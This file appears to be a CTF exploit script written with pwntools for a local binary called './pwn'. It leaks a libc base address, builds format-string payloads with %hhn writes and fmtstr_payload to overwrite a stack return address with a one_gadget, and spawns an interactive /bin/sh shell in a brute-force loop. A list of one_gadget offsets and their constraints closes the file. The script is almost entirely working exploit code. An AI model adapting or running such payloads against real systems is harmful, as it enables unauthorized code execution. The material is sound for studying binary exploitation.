1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
|
from pwn import*
context.log_level='debug'
context.arch = "amd64"
def exp():
p=process("./pwn")
elf=ELF("./pwn")
libc=ELF("./libc-2.31.so")
p.sendafter("Login:",b'a'*0x18)
libc_base=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.sym["_IO_2_1_stderr_"]
ogg=libc_base+0xe6af1
system=libc_base+libc.sym["system"]
puts_got=elf.got["puts"]
print("libc_base = ",hex(libc_base))
print("one_gadget = ",hex(ogg))
print("puts_got = ",hex(puts_got))
gdb.attach(p)
payload = f"%{0x90}c%{0x10 + 6}$hhn".encode()
payload += f"|%{0x10 + 6}$lld|%{0x11 + 6}$lld|".encode()
payload = payload.ljust(0x70, b"\x00")
payload += b"\x38"
p.sendafter("Content:",payload)
p.recvuntil(b"|")
stack_addr = int(p.recvuntil(b"|", drop=True))
start_addr = int(p.recvuntil(b"|", drop=True))
log.success(hex(stack_addr))
log.success(hex(start_addr))
payload2 = fmtstr_payload(8,{stack_addr: p64(ogg),},write_size="short",)
p.sendafter("Login:",b'a'*0x18)
p.sendafter("Content:",payload2)
p.interactive()
while True:
try:
exp()
except:
pass
'''
0xe6aee execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL
0xe6af1 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL
0xe6af4 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
'''
|
